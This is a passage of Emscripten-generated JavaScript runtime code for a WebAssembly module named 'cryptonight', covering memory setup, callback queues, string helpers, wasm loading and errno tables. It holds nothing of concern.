  830.              var ret = __cxa_demangle_func(buf, 0, 0, status);
  831.              if (getValue(status, "i32") === 0 && ret) {
  832.                  return Pointer_stringify(ret)
  833.              }
  834.          } catch (e) {} finally {
  835.              if (buf) _free(buf);
  836.              if (status) _free(status);
  837.              if (ret) _free(ret)
  838.          }
  839.          return func
  840.      }
  841.      Runtime.warnOnce("warning: build with -s DEMANGLE_SUPPORT=1 to link in libcxxabi demangling");
  842.      return func
  843.  }
  844.  
  845.  function demangleAll(text) {
  846.      var regex = /__Z[\w\d_]+/g;
  847.      return text.replace(regex, (function(x) {
  848.          var y = demangle(x);
  849.          return x === y ? x : x + " [" + y + "]"
  850.      }))
  851.  }
  852.  
  853.  function jsStackTrace() {
  854.      var err = new Error;
  855.      if (!err.stack) {
  856.          try {
  857.              throw new Error(0)
  858.          } catch (e) {
  859.              err = e
  860.          }
  861.          if (!err.stack) {
  862.              return "(no stack trace available)"
  863.          }
  864.      }
  865.      return err.stack.toString()
  866.  }
  867.  
  868.  function stackTrace() {
  869.      var js = jsStackTrace();
  870.      if (Module["extraStackTrace"]) js += "\n" + Module["extraStackTrace"]();
  871.      return demangleAll(js)
  872.  }
  873.  Module["stackTrace"] = stackTrace;
  874.  var WASM_PAGE_SIZE = 65536;
  875.  var ASMJS_PAGE_SIZE = 16777216;
  876.  
  877.  function alignUp(x, multiple) {
  878.      if (x % multiple > 0) {
  879.          x += multiple - x % multiple
  880.      }
  881.      return x
  882.  }
  883.  var HEAP, buffer, HEAP8, HEAPU8, HEAP16, HEAPU16, HEAP32, HEAPU32, HEAPF32, HEAPF64;
  884.  
  885.  function updateGlobalBuffer(buf) {
  886.      Module["buffer"] = buffer = buf
  887.  }
  888.  
  889.  function updateGlobalBufferViews() {
  890.      Module["HEAP8"] = HEAP8 = new Int8Array(buffer);
  891.      Module["HEAP16"] = HEAP16 = new Int16Array(buffer);
  892.      Module["HEAP32"] = HEAP32 = new Int32Array(buffer);
  893.      Module["HEAPU8"] = HEAPU8 = new Uint8Array(buffer);
  894.      Module["HEAPU16"] = HEAPU16 = new Uint16Array(buffer);
  895.      Module["HEAPU32"] = HEAPU32 = new Uint32Array(buffer);
  896.      Module["HEAPF32"] = HEAPF32 = new Float32Array(buffer);
  897.      Module["HEAPF64"] = HEAPF64 = new Float64Array(buffer)
  898.  }
  899.  var STATIC_BASE, STATICTOP, staticSealed;
  900.  var STACK_BASE, STACKTOP, STACK_MAX;
  901.  var DYNAMIC_BASE, DYNAMICTOP_PTR;
  902.  STATIC_BASE = STATICTOP = STACK_BASE = STACKTOP = STACK_MAX = DYNAMIC_BASE = DYNAMICTOP_PTR = 0;
  903.  staticSealed = false;
  904.  
  905.  function abortOnCannotGrowMemory() {
  906.      abort("Cannot enlarge memory arrays. Either (1) compile with -s TOTAL_MEMORY=X with X higher than the current value " + TOTAL_MEMORY + ", (2) compile with -s ALLOW_MEMORY_GROWTH=1 which allows increasing the size at runtime, or (3) if you want malloc to return NULL (0) instead of this abort, compile with -s ABORTING_MALLOC=0 ")
  907.  }
  908.  
  909.  function enlargeMemory() {
  910.      abortOnCannotGrowMemory()
  911.  }
  912.  var TOTAL_STACK = Module["TOTAL_STACK"] || 5242880;
  913.  var TOTAL_MEMORY = Module["TOTAL_MEMORY"] || 16777216;
  914.  if (TOTAL_MEMORY < TOTAL_STACK) Module.printErr("TOTAL_MEMORY should be larger than TOTAL_STACK, was " + TOTAL_MEMORY + "! (TOTAL_STACK=" + TOTAL_STACK + ")");
  915.  if (Module["buffer"]) {
  916.      buffer = Module["buffer"]
  917.  } else {
  918.      if (typeof WebAssembly === "object" && typeof WebAssembly.Memory === "function") {
  919.          Module["wasmMemory"] = new WebAssembly.Memory({
  920.              "initial": TOTAL_MEMORY / WASM_PAGE_SIZE,
  921.              "maximum": TOTAL_MEMORY / WASM_PAGE_SIZE
  922.          });
  923.          buffer = Module["wasmMemory"].buffer
  924.      } else {
  925.          buffer = new ArrayBuffer(TOTAL_MEMORY)
  926.      }
  927.  }
  928.  updateGlobalBufferViews();
  929.  
  930.  function getTotalMemory() {
  931.      return TOTAL_MEMORY
  932.  }
  933.  HEAP32[0] = 1668509029;
  934.  HEAP16[1] = 25459;
  935.  if (HEAPU8[2] !== 115 || HEAPU8[3] !== 99) throw "Runtime error: expected the system to be little-endian!";
  936.  Module["HEAP"] = HEAP;
  937.  Module["buffer"] = buffer;
  938.  Module["HEAP8"] = HEAP8;
  939.  Module["HEAP16"] = HEAP16;
  940.  Module["HEAP32"] = HEAP32;
  941.  Module["HEAPU8"] = HEAPU8;
  942.  Module["HEAPU16"] = HEAPU16;
  943.  Module["HEAPU32"] = HEAPU32;
  944.  Module["HEAPF32"] = HEAPF32;
  945.  Module["HEAPF64"] = HEAPF64;
  946.  
  947.  function callRuntimeCallbacks(callbacks) {
  948.      while (callbacks.length > 0) {
  949.          var callback = callbacks.shift();
  950.          if (typeof callback == "function") {
  951.              callback();
  952.              continue
  953.          }
  954.          var func = callback.func;
  955.          if (typeof func === "number") {
  956.              if (callback.arg === undefined) {
  957.                  Module["dynCall_v"](func)
  958.              } else {
  959.                  Module["dynCall_vi"](func, callback.arg)
  960.              }
  961.          } else {
  962.              func(callback.arg === undefined ? null : callback.arg)
  963.          }
  964.      }
  965.  }
  966.  var __ATPRERUN__ = [];
  967.  var __ATINIT__ = [];
  968.  var __ATMAIN__ = [];
  969.  var __ATEXIT__ = [];
  970.  var __ATPOSTRUN__ = [];
  971.  var runtimeInitialized = false;
  972.  var runtimeExited = false;
  973.  
  974.  function preRun() {
  975.      if (Module["preRun"]) {
  976.          if (typeof Module["preRun"] == "function") Module["preRun"] = [Module["preRun"]];
  977.          while (Module["preRun"].length) {
  978.              addOnPreRun(Module["preRun"].shift())
  979.          }
  980.      }
  981.      callRuntimeCallbacks(__ATPRERUN__)
  982.  }
  983.  
  984.  function ensureInitRuntime() {
  985.      if (runtimeInitialized) return;
  986.      runtimeInitialized = true;
  987.      callRuntimeCallbacks(__ATINIT__)
  988.  }
  989.  
  990.  function preMain() {
  991.      callRuntimeCallbacks(__ATMAIN__)
  992.  }
  993.  
  994.  function exitRuntime() {
  995.      callRuntimeCallbacks(__ATEXIT__);
  996.      runtimeExited = true
  997.  }
  998.  
  999.  function postRun() {
  1000.      if (Module["postRun"]) {
  1001.          if (typeof Module["postRun"] == "function") Module["postRun"] = [Module["postRun"]];
  1002.          while (Module["postRun"].length) {
  1003.              addOnPostRun(Module["postRun"].shift())
  1004.          }
  1005.      }
  1006.      callRuntimeCallbacks(__ATPOSTRUN__)
  1007.  }
  1008.  
  1009.  function addOnPreRun(cb) {
  1010.      __ATPRERUN__.unshift(cb)
  1011.  }
  1012.  Module["addOnPreRun"] = addOnPreRun;
  1013.  
  1014.  function addOnInit(cb) {
  1015.      __ATINIT__.unshift(cb)
  1016.  }
  1017.  Module["addOnInit"] = addOnInit;
  1018.  
  1019.  function addOnPreMain(cb) {
  1020.      __ATMAIN__.unshift(cb)
  1021.  }
  1022.  Module["addOnPreMain"] = addOnPreMain;
  1023.  
  1024.  function addOnExit(cb) {
  1025.      __ATEXIT__.unshift(cb)
  1026.  }
  1027.  Module["addOnExit"] = addOnExit;
  1028.  
  1029.  function addOnPostRun(cb) {
  1030.      __ATPOSTRUN__.unshift(cb)
  1031.  }
  1032.  Module["addOnPostRun"] = addOnPostRun;
  1033.  
  1034.  function intArrayFromString(stringy, dontAddNull, length) {
  1035.      var len = length > 0 ? length : lengthBytesUTF8(stringy) + 1;
  1036.      var u8array = new Array(len);
  1037.      var numBytesWritten = stringToUTF8Array(stringy, u8array, 0, u8array.length);
  1038.      if (dontAddNull) u8array.length = numBytesWritten;
  1039.      return u8array
  1040.  }
  1041.  Module["intArrayFromString"] = intArrayFromString;
  1042.  
  1043.  function intArrayToString(array) {
  1044.      var ret = [];
  1045.      for (var i = 0; i < array.length; i++) {
  1046.          var chr = array[i];
  1047.          if (chr > 255) {
  1048.              chr &= 255
  1049.          }
  1050.          ret.push(String.fromCharCode(chr))
  1051.      }
  1052.      return ret.join("")
  1053.  }
  1054.  Module["intArrayToString"] = intArrayToString;
  1055.  
  1056.  function writeStringToMemory(string, buffer, dontAddNull) {
  1057.      Runtime.warnOnce("writeStringToMemory is deprecated and should not be called! Use stringToUTF8() instead!");
  1058.      var lastChar, end;
  1059.      if (dontAddNull) {
  1060.          end = buffer + lengthBytesUTF8(string);
  1061.          lastChar = HEAP8[end]
  1062.      }
  1063.      stringToUTF8(string, buffer, Infinity);
  1064.      if (dontAddNull) HEAP8[end] = lastChar
  1065.  }
  1066.  Module["writeStringToMemory"] = writeStringToMemory;
  1067.  
  1068.  function writeArrayToMemory(array, buffer) {
  1069.      HEAP8.set(array, buffer)
  1070.  }
  1071.  Module["writeArrayToMemory"] = writeArrayToMemory;
  1072.  
  1073.  function writeAsciiToMemory(str, buffer, dontAddNull) {
  1074.      for (var i = 0; i < str.length; ++i) {
  1075.          HEAP8[buffer++ >> 0] = str.charCodeAt(i)
  1076.      }
  1077.      if (!dontAddNull) HEAP8[buffer >> 0] = 0
  1078.  }
  1079.  Module["writeAsciiToMemory"] = writeAsciiToMemory;
  1080.  if (!Math["imul"] || Math["imul"](4294967295, 5) !== -5) Math["imul"] = function imul(a, b) {
  1081.      var ah = a >>> 16;
  1082.      var al = a & 65535;
  1083.      var bh = b >>> 16;
  1084.      var bl = b & 65535;
  1085.      return al * bl + (ah * bl + al * bh << 16) | 0
  1086.  };
  1087.  Math.imul = Math["imul"];
  1088.  if (!Math["fround"]) {
  1089.      var froundBuffer = new Float32Array(1);
  1090.      Math["fround"] = (function(x) {
  1091.          froundBuffer[0] = x;
  1092.          return froundBuffer[0]
  1093.      })
  1094.  }
  1095.  Math.fround = Math["fround"];
  1096.  if (!Math["clz32"]) Math["clz32"] = (function(x) {
  1097.      x = x >>> 0;
  1098.      for (var i = 0; i < 32; i++) {
  1099.          if (x & 1 << 31 - i) return i
  1100.      }
  1101.      return 32
  1102.  });
  1103.  Math.clz32 = Math["clz32"];
  1104.  if (!Math["trunc"]) Math["trunc"] = (function(x) {
  1105.      return x < 0 ? Math.ceil(x) : Math.floor(x)
  1106.  });
  1107.  Math.trunc = Math["trunc"];
  1108.  var Math_abs = Math.abs;
  1109.  var Math_cos = Math.cos;
  1110.  var Math_sin = Math.sin;
  1111.  var Math_tan = Math.tan;
  1112.  var Math_acos = Math.acos;
  1113.  var Math_asin = Math.asin;
  1114.  var Math_atan = Math.atan;
  1115.  var Math_atan2 = Math.atan2;
  1116.  var Math_exp = Math.exp;
  1117.  var Math_log = Math.log;
  1118.  var Math_sqrt = Math.sqrt;
  1119.  var Math_ceil = Math.ceil;
  1120.  var Math_floor = Math.floor;
  1121.  var Math_pow = Math.pow;
  1122.  var Math_imul = Math.imul;
  1123.  var Math_fround = Math.fround;
  1124.  var Math_round = Math.round;
  1125.  var Math_min = Math.min;
  1126.  var Math_clz32 = Math.clz32;
  1127.  var Math_trunc = Math.trunc;
  1128.  var runDependencies = 0;
  1129.  var runDependencyWatcher = null;
  1130.  var dependenciesFulfilled = null;
  1131.  
  1132.  function getUniqueRunDependency(id) {
  1133.      return id
  1134.  }
  1135.  
  1136.  function addRunDependency(id) {
  1137.      runDependencies++;
  1138.      if (Module["monitorRunDependencies"]) {
  1139.          Module["monitorRunDependencies"](runDependencies)
  1140.      }
  1141.  }
  1142.  Module["addRunDependency"] = addRunDependency;
  1143.  
  1144.  function removeRunDependency(id) {
  1145.      runDependencies--;
  1146.      if (Module["monitorRunDependencies"]) {
  1147.          Module["monitorRunDependencies"](runDependencies)
  1148.      }
  1149.      if (runDependencies == 0) {
  1150.          if (runDependencyWatcher !== null) {
  1151.              clearInterval(runDependencyWatcher);
  1152.              runDependencyWatcher = null
  1153.          }
  1154.          if (dependenciesFulfilled) {
  1155.              var callback = dependenciesFulfilled;
  1156.              dependenciesFulfilled = null;
  1157.              callback()
  1158.          }
  1159.      }
  1160.  }
  1161.  Module["removeRunDependency"] = removeRunDependency;
  1162.  Module["preloadedImages"] = {};
  1163.  Module["preloadedAudios"] = {};
  1164.  var memoryInitializer = null;
  1165.  
  1166.  function integrateWasmJS(Module) {
  1167.      var method = Module["wasmJSMethod"] || "native-wasm";
  1168.      Module["wasmJSMethod"] = method;
  1169.      var wasmTextFile = Module["wasmTextFile"] || "cryptonight.wast";
  1170.      var wasmBinaryFile = Module["wasmBinaryFile"] || "cryptonight.wasm";
  1171.      var asmjsCodeFile = Module["asmjsCodeFile"] || "cryptonight.temp.asm.js";
  1172.      if (typeof Module["locateFile"] === "function") {
  1173.          wasmTextFile = Module["locateFile"](wasmTextFile);
  1174.          wasmBinaryFile = Module["locateFile"](wasmBinaryFile);
  1175.          asmjsCodeFile = Module["locateFile"](asmjsCodeFile)
  1176.      }
  1177.      var wasmPageSize = 64 * 1024;
  1178.      var asm2wasmImports = {
  1179.          "f64-rem": (function(x, y) {
  1180.              return x % y
  1181.          }),
  1182.          "f64-to-int": (function(x) {
  1183.              return x | 0
  1184.          }),
  1185.          "i32s-div": (function(x, y) {
  1186.              return (x | 0) / (y | 0) | 0
  1187.          }),
  1188.          "i32u-div": (function(x, y) {
  1189.              return (x >>> 0) / (y >>> 0) >>> 0
  1190.          }),
  1191.          "i32s-rem": (function(x, y) {
  1192.              return (x | 0) % (y | 0) | 0
  1193.          }),
  1194.          "i32u-rem": (function(x, y) {
  1195.              return (x >>> 0) % (y >>> 0) >>> 0
  1196.          }),
  1197.          "debugger": (function() {
  1198.              debugger
  1199.          })
  1200.      };
  1201.      var info = {
  1202.          "global": null,
  1203.          "env": null,
  1204.          "asm2wasm": asm2wasmImports,
  1205.          "parent": Module
  1206.      };
  1207.      var exports = null;
  1208.  
  1209.      function lookupImport(mod, base) {
  1210.          var lookup = info;
  1211.          if (mod.indexOf(".") < 0) {
  1212.              lookup = (lookup || {})[mod]
  1213.          } else {
  1214.              var parts = mod.split(".");
  1215.              lookup = (lookup || {})[parts[0]];
  1216.              lookup = (lookup || {})[parts[1]]
  1217.          }
  1218.          if (base) {
  1219.              lookup = (lookup || {})[base]
  1220.          }
  1221.          if (lookup === undefined) {
  1222.              abort("bad lookupImport to (" + mod + ")." + base)
  1223.          }
  1224.          return lookup
  1225.      }
  1226.  
  1227.      function mergeMemory(newBuffer) {
  1228.          var oldBuffer = Module["buffer"];
  1229.          if (newBuffer.byteLength < oldBuffer.byteLength) {
  1230.              Module["printErr"]("the new buffer in mergeMemory is smaller than the previous one. in native wasm, we should grow memory here")
  1231.          }
  1232.          var oldView = new Int8Array(oldBuffer);
  1233.          var newView = new Int8Array(newBuffer);
  1234.          if (!memoryInitializer) {
  1235.              oldView.set(newView.subarray(Module["STATIC_BASE"], Module["STATIC_BASE"] + Module["STATIC_BUMP"]), Module["STATIC_BASE"])
  1236.          }
  1237.          newView.set(oldView);
  1238.          updateGlobalBuffer(newBuffer);
  1239.          updateGlobalBufferViews()
  1240.      }
  1241.      var WasmTypes = {
  1242.          none: 0,
  1243.          i32: 1,
  1244.          i64: 2,
  1245.          f32: 3,
  1246.          f64: 4
  1247.      };
  1248.  
  1249.      function fixImports(imports) {
  1250.          if (!0) return imports;
  1251.          var ret = {};
  1252.          for (var i in imports) {
  1253.              var fixed = i;
  1254.              if (fixed[0] == "_") fixed = fixed.substr(1);
  1255.              ret[fixed] = imports[i]
  1256.          }
  1257.          return ret
  1258.      }
  1259.  
  1260.      function getBinary() {
  1261.          try {
  1262.              var binary;
  1263.              if (Module["wasmBinary"]) {
  1264.                  binary = Module["wasmBinary"];
  1265.                  binary = new Uint8Array(binary)
  1266.              } else if (Module["readBinary"]) {
  1267.                  binary = Module["readBinary"](wasmBinaryFile)
  1268.              } else {
  1269.                  throw "on the web, we need the wasm binary to be preloaded and set on Module['wasmBinary']. emcc.py will do that for you when generating HTML (but not JS)"
  1270.              }
  1271.              return binary
  1272.          } catch (err) {
  1273.              abort(err)
  1274.          }
  1275.      }
  1276.  
  1277.      function getBinaryPromise() {
  1278.          if (!Module["wasmBinary"] && typeof fetch === "function") {
  1279.              return fetch(wasmBinaryFile, {
  1280.                  credentials: "same-origin"
  1281.              }).then((function(response) {
  1282.                  if (!response["ok"]) {
  1283.                      throw "failed to load wasm binary file at '" + wasmBinaryFile + "'"
  1284.                  }
  1285.                  return response["arrayBuffer"]()
  1286.              }))
  1287.          }
  1288.          return new Promise((function(resolve, reject) {
  1289.              resolve(getBinary())
  1290.          }))
  1291.      }
  1292.  
  1293.      function doNativeWasm(global, env, providedBuffer) {
  1294.          if (typeof WebAssembly !== "object") {
  1295.              Module["printErr"]("no native wasm support detected");
  1296.              return false
  1297.          }
  1298.          if (!(Module["wasmMemory"] instanceof WebAssembly.Memory)) {
  1299.              Module["printErr"]("no native wasm Memory in use");
  1300.              return false
  1301.          }
  1302.          env["memory"] = Module["wasmMemory"];
  1303.          info["global"] = {
  1304.              "NaN": NaN,
  1305.              "Infinity": Infinity
  1306.          };
  1307.          info["global.Math"] = global.Math;
  1308.          info["env"] = env;
  1309.  
  1310.          function receiveInstance(instance) {
  1311.              exports = instance.exports;
  1312.              if (exports.memory) mergeMemory(exports.memory);
  1313.              Module["asm"] = exports;
  1314.              Module["usingWasm"] = true;
  1315.              removeRunDependency("wasm-instantiate")
  1316.          }
  1317.          addRunDependency("wasm-instantiate");
  1318.          if (Module["instantiateWasm"]) {
  1319.              try {
  1320.                  return Module["instantiateWasm"](info, receiveInstance)
  1321.              } catch (e) {
  1322.                  Module["printErr"]("Module.instantiateWasm callback failed with error: " + e);
  1323.                  return false
  1324.              }
  1325.          }
  1326.          getBinaryPromise().then((function(binary) {
  1327.              return WebAssembly.instantiate(binary, info)
  1328.          })).then((function(output) {
  1329.              receiveInstance(output["instance"])
  1330.          })).catch((function(reason) {
  1331.              Module["printErr"]("failed to asynchronously prepare wasm: " + reason);
  1332.              abort(reason)
  1333.          }));
  1334.          return {}
  1335.      }
  1336.      Module["asmPreload"] = Module["asm"];
  1337.      var asmjsReallocBuffer = Module["reallocBuffer"];
  1338.      var wasmReallocBuffer = (function(size) {
  1339.          var PAGE_MULTIPLE = Module["usingWasm"] ? WASM_PAGE_SIZE : ASMJS_PAGE_SIZE;
  1340.          size = alignUp(size, PAGE_MULTIPLE);
  1341.          var old = Module["buffer"];
  1342.          var oldSize = old.byteLength;
  1343.          if (Module["usingWasm"]) {
  1344.              try {
  1345.                  var result = Module["wasmMemory"].grow((size - oldSize) / wasmPageSize);
  1346.                  if (result !== (-1 | 0)) {
  1347.                      return Module["buffer"] = Module["wasmMemory"].buffer
  1348.                  } else {
  1349.                      return null
  1350.                  }
  1351.              } catch (e) {
  1352.                  return null
  1353.              }
  1354.          } else {
  1355.              exports["__growWasmMemory"]((size - oldSize) / wasmPageSize);
  1356.              return Module["buffer"] !== old ? Module["buffer"] : null
  1357.          }
  1358.      });
  1359.      Module["reallocBuffer"] = (function(size) {
  1360.          if (finalMethod === "asmjs") {
  1361.              return asmjsReallocBuffer(size)
  1362.          } else {
  1363.              return wasmReallocBuffer(size)
  1364.          }
  1365.      });
  1366.      var finalMethod = "";
  1367.      Module["asm"] = (function(global, env, providedBuffer) {
  1368.          global = fixImports(global);
  1369.          env = fixImports(env);
  1370.          if (!env["table"]) {
  1371.              var TABLE_SIZE = Module["wasmTableSize"];
  1372.              if (TABLE_SIZE === undefined) TABLE_SIZE = 1024;
  1373.              var MAX_TABLE_SIZE = Module["wasmMaxTableSize"];
  1374.              if (typeof WebAssembly === "object" && typeof WebAssembly.Table === "function") {
  1375.                  if (MAX_TABLE_SIZE !== undefined) {
  1376.                      env["table"] = new WebAssembly.Table({
  1377.                          "initial": TABLE_SIZE,
  1378.                          "maximum": MAX_TABLE_SIZE,
  1379.                          "element": "anyfunc"
  1380.                      })
  1381.                  } else {
  1382.                      env["table"] = new WebAssembly.Table({
  1383.                          "initial": TABLE_SIZE,
  1384.                          element: "anyfunc"
  1385.                      })
  1386.                  }
  1387.              } else {
  1388.                  env["table"] = new Array(TABLE_SIZE)
  1389.              }
  1390.              Module["wasmTable"] = env["table"]
  1391.          }
  1392.          if (!env["memoryBase"]) {
  1393.              env["memoryBase"] = Module["STATIC_BASE"]
  1394.          }
  1395.          if (!env["tableBase"]) {
  1396.              env["tableBase"] = 0
  1397.          }
  1398.          var exports;
  1399.          exports = doNativeWasm(global, env, providedBuffer);
  1400.          return exports
  1401.      });
  1402.      var methodHandler = Module["asm"]
  1403.  }
  1404.  integrateWasmJS(Module);
  1405.  var ASM_CONSTS = [];
  1406.  STATIC_BASE = Runtime.GLOBAL_BASE;
  1407.  STATICTOP = STATIC_BASE + 12512;
  1408.  __ATINIT__.push();
  1409.  memoryInitializer = Module["wasmJSMethod"].indexOf("asmjs") >= 0 || Module["wasmJSMethod"].indexOf("interpret-asm2wasm") >= 0 ? "cryptonight.js.mem" : null;
  1410.  var STATIC_BUMP = 12512;
  1411.  Module["STATIC_BASE"] = STATIC_BASE;
  1412.  Module["STATIC_BUMP"] = STATIC_BUMP;
  1413.  var tempDoublePtr = STATICTOP;
  1414.  STATICTOP += 16;
  1415.  
  1416.  function ___assert_fail(condition, filename, line, func) {
  1417.      ABORT = true;
  1418.      throw "Assertion failed: " + Pointer_stringify(condition) + ", at: " + [filename ? Pointer_stringify(filename) : "unknown filename", line, func ? Pointer_stringify(func) : "unknown function"] + " at " + stackTrace()
  1419.  }
  1420.  var PROCINFO = {
  1421.      ppid: 1,
  1422.      pid: 42,
  1423.      sid: 42,
  1424.      pgid: 42
  1425.  };
  1426.  var ERRNO_CODES = {
  1427.      EPERM: 1,
  1428.      ENOENT: 2,
  1429.      ESRCH: 3,
  1430.      EINTR: 4,
  1431.      EIO: 5,
  1432.      ENXIO: 6,
  1433.      E2BIG: 7,
  1434.      ENOEXEC: 8,
  1435.      EBADF: 9,
  1436.      ECHILD: 10,
  1437.      EAGAIN: 11,
  1438.      EWOULDBLOCK: 11,
  1439.      ENOMEM: 12,
  1440.      EACCES: 13,
  1441.      EFAULT: 14,
  1442.      ENOTBLK: 15,
  1443.      EBUSY: 16,
  1444.      EEXIST: 17,
  1445.      EXDEV: 18,
  1446.      ENODEV: 19,
  1447.      ENOTDIR: 20,
  1448.      EISDIR: 21,
  1449.      EINVAL: 22,
  1450.      ENFILE: 23,
  1451.      EMFILE: 24,
  1452.      ENOTTY: 25,
  1453.      ETXTBSY: 26,
  1454.      EFBIG: 27,
  1455.      ENOSPC: 28,
  1456.      ESPIPE: 29,
  1457.      EROFS: 30,
  1458.      EMLINK: 31,
  1459.      EPIPE: 32,
  1460.      EDOM: 33,
  1461.      ERANGE: 34,
  1462.      ENOMSG: 42,
  1463.      EIDRM: 43,
  1464.      ECHRNG: 44,
  1465.      EL2NSYNC: 45,
  1466.      EL3HLT: 46,
  1467.      EL3RST: 47,
  1468.      ELNRNG: 48,
  1469.      EUNATCH: 49,
  1470.      ENOCSI: 50,
  1471.      EL2HLT: 51,
  1472.      EDEADLK: 35,
  1473.      ENOLCK: 37,
  1474.      EBADE: 52,
  1475.      EBADR: 53,
  1476.      EXFULL: 54,
  1477.      ENOANO: 55,
  1478.      EBADRQC: 56,
  1479.      EBADSLT: 57,
  1480.      EDEADLOCK: 35,
  1481.      EBFONT: 59,
  1482.      ENOSTR: 60,
  1483.      ENODATA: 61,
  1484.      ETIME: 62,
  1485.      ENOSR: 63,
  1486.      ENONET: 64,
  1487.      ENOPKG: 65,
  1488.      EREMOTE: 66,
  1489.      ENOLINK: 67,
  1490.      EADV: 68,
  1491.      ESRMNT: 69,
  1492.      ECOMM: 70,
  1493.      EPROTO: 71,
  1494.      EMULTIHOP: 72,
  1495.      EDOTDOT: 73,
  1496.      EBADMSG: 74,
  1497.      ENOTUNIQ: 76,
  1498.      EBADFD: 77,
  1499.      EREMCHG: 78,
  1500.      ELIBACC: 79,
  1501.      ELIBBAD: 80,
  1502.      ELIBSCN: 81,
  1503.      ELIBMAX: 82,
  1504.      ELIBEXEC: 83,
  1505.      ENOSYS: 38,
  1506.      ENOTEMPTY: 39,
  1507.      ENAMETOOLONG: 36,
  1508.      ELOOP: 40,
  1509.      EOPNOTSUPP: 95,
  1510.      EPFNOSUPPORT: 96,
  1511.      ECONNRESET: 104,
  1512.      ENOBUFS: 105,
  1513.      EAFNOSUPPORT: 97,
  1514.      EPROTOTYPE: 91,
  1515.      ENOTSOCK: 88,
  1516.      ENOPROTOOPT: 92,
  1517.      ESHUTDOWN: 108,
  1518.      ECONNREFUSED: 111,
  1519.      EADDRINUSE: 98,
  1520.      ECONNABORTED: 103,
  1521.      ENETUNREACH: 101,
  1522.      ENETDOWN: 100,
  1523.      ETIMEDOUT: 110,
  1524.      EHOSTDOWN: 112,
  1525.      EHOSTUNREACH: 113,
  1526.      EINPROGRESS: 115,
  1527.      EALREADY: 114,
  1528.      EDESTADDRREQ: 89,
  1529.      EMSGSIZE: 90,
  1530.      EPROTONOSUPPORT: 93,
  1531.      ESOCKTNOSUPPORT: 94,
  1532.      EADDRNOTAVAIL: 99,
  1533.      ENETRESET: 102,
  1534.      EISCONN: 106,
  1535.      ENOTCONN: 107,
  1536.      ETOOMANYREFS: 109,
  1537.      EUSERS: 87,
  1538.      EDQUOT: 122,
  1539.      ESTALE: 116,
  1540.      ENOTSUP: 95,
  1541.      ENOMEDIUM: 123,
  1542.      EILSEQ: 84,
  1543.      EOVERFLOW: 75,
  1544.      ECANCELED: 125,
  1545.      ENOTRECOVERABLE: 131,
  1546.      EOWNERDEAD: 130,
  1547.      ESTRPIPE: 86
  1548.  };
  1549.  var ERRNO_MESSAGES = {
  1550.      0: "Success",
  1551.      1: "Not super-user",
  1552.      2: "No such file or directory",
  1553.      3: "No such process",
  1554.      4: "Interrupted system call",
  1555.      5: "I/O error",
  1556.      6: "No such device or address",
  1557.      7: "Arg list too long",
  1558.      8: "Exec format error",
  1559.      9: "Bad file number",
  1560.      10: "No children",
  1561.      11: "No more processes",
  1562.      12: "Not enough core",
  1563.      13: "Permission denied",
  1564.      14: "Bad address",
  1565.      15: "Block device required",
  1566.      16: "Mount device busy",
  1567.      17: "File exists",
  1568.      18: "Cross-device link",
  1569.      19: "No such device",
  1570.      20: "Not a directory",
  1571.      21: "Is a directory",
  1572.      22: "Invalid argument",
  1573.      23: "Too many open files in system",
  1574.      24: "Too many open files",
  1575.      25: "Not a typewriter",
  1576.      26: "Text file busy",
  1577.      27: "File too large",
  1578.      28: "No space left on device",
  1579.      29: "Illegal seek",
  1580.      30: "Read only file system",
  1581.      31: "Too many links",
  1582.      32: "Broken pipe",
  1583.      33: "Math arg out of domain of func",
  1584.      34: "Math result not representable",
  1585.      35: "File locking deadlock error",
  1586.      36: "File or path name too long",
  1587.      37: "No record locks available",
  1588.      38: "Function not implemented",
  1589.      39: "Directory not empty",
  1590.      40: "Too many symbolic links",
  1591.      42: "No message of desired type",
  1592.      43: "Identifier removed",
  1593.      44: "Channel number out of range",
  1594.      45: "Level 2 not synchronized",
  1595.      46: "Level 3 halted",
  1596.      47: "Level 3 reset",
  1597.      48: "Link number out of range",
  1598.      49: "Protocol driver not attached",
  1599.      50: "No CSI structure available",
  1600.      51: "Level 2 halted",
  1601.      52: "Invalid exchange",
  1602.      53: "Invalid request descriptor",
  1603.      54: "Exchange full",
  1604.      55: "No anode",
  1605.      56: "Invalid request code",
  1606.      57: "Invalid slot",
  1607.      59: "Bad font file fmt",
  1608.      60: "Device not a stream",
  1609.      61: "No data (for no delay io)",
  1610.      62: "Timer expired",
  1611.      63: "Out of streams resources",
  1612.      64: "Machine is not on the network",
  1613.      65: "Package not installed",
  1614.      66: "The object is remote",
  1615.      67: "The link has been severed",
  1616.      68: "Advertise error",
  1617.      69: "Srmount error",
  1618.      70: "Communication error on send",
  1619.      71: "Protocol error",
  1620.      72: "Multihop attempted",
  1621.      73: "Cross mount point (not really error)",
  1622.      74: "Trying to read unreadable message",
  1623.      75: "Value too large for defined data type",
  1624.      76: "Given log. name not unique",
  1625.      77: "f.d. invalid for this operation",
  1626.      78: "Remote address changed",
  1627.      79: "Can access a needed shared lib",
  1628.      80: "Accessing a corrupted shared lib",
  1629.      81: ".lib section in a.out corrupted",
  1630.      82: "Attempting to link in too many libs",
  1631.      83: "Attempting to exec a shared library",
  1632.      84: "Illegal byte sequence",
  1633.      86: "Streams pipe error",
  1634.      87: "Too many users",
  1635.      88: "Socket operation on non-socket",
  1636.      89: "Destination address required",
  1637.      90: "Message too long",
  1638.      91: "Protocol wrong type for socket",
  1639.      92: "Protocol not available",
  1640.      93: "Unknown protocol",
  1641.      94: "Socket type not supported",
  1642.      95: "Not supported",
  1643.      96: "Protocol family not supported",
  1644.      97: "Address family not supported by protocol family",
  1645.      98: "Address already in use",
  1646.      99: "Address not available",
  1647.      100: "Network interface is not configured",
  1648.      101: "Network is unreachable",
  1649.      102: "Connection reset by network",
  1650.      103: "Connection aborted",
  1651.      104: "Connection reset by peer",
  1652.      105: "No buffer space available",
  1653.      106: "Socket is already connected",
  1654.      107: "Socket is not connected",
  1655.      108: "Can't send after socket shutdown",
  1656.      109: "Too many references",
  1657.      110: "Connection timed out",
  1658.      111: "Connection refused",
  1659.      112: "Host is down",
  1660.      113: "Host is unreachable",
  1661.      114: "Socket already connected",
  1662.      115: "Connection already in progress",
  1663.      116: "Stale file handle",
  1664.      122: "Quota exceeded",
  1665.      123: "No medium (in tape drive)",
  1666.      125: "Operation canceled",
  1667.      130: "Previous owner died",
  1668.      131: "State not recoverable"
  1669.  };
  1670.  
  1671.  function ___setErrNo(value) {
  1672.      if (Module["___errno_location"]) HEAP32[Module["___errno_location"]() >> 2] = value;
  1673.      return value
  1674.  }
  1675.  var PATH = {
  1676.      splitPath: (function(filename) {
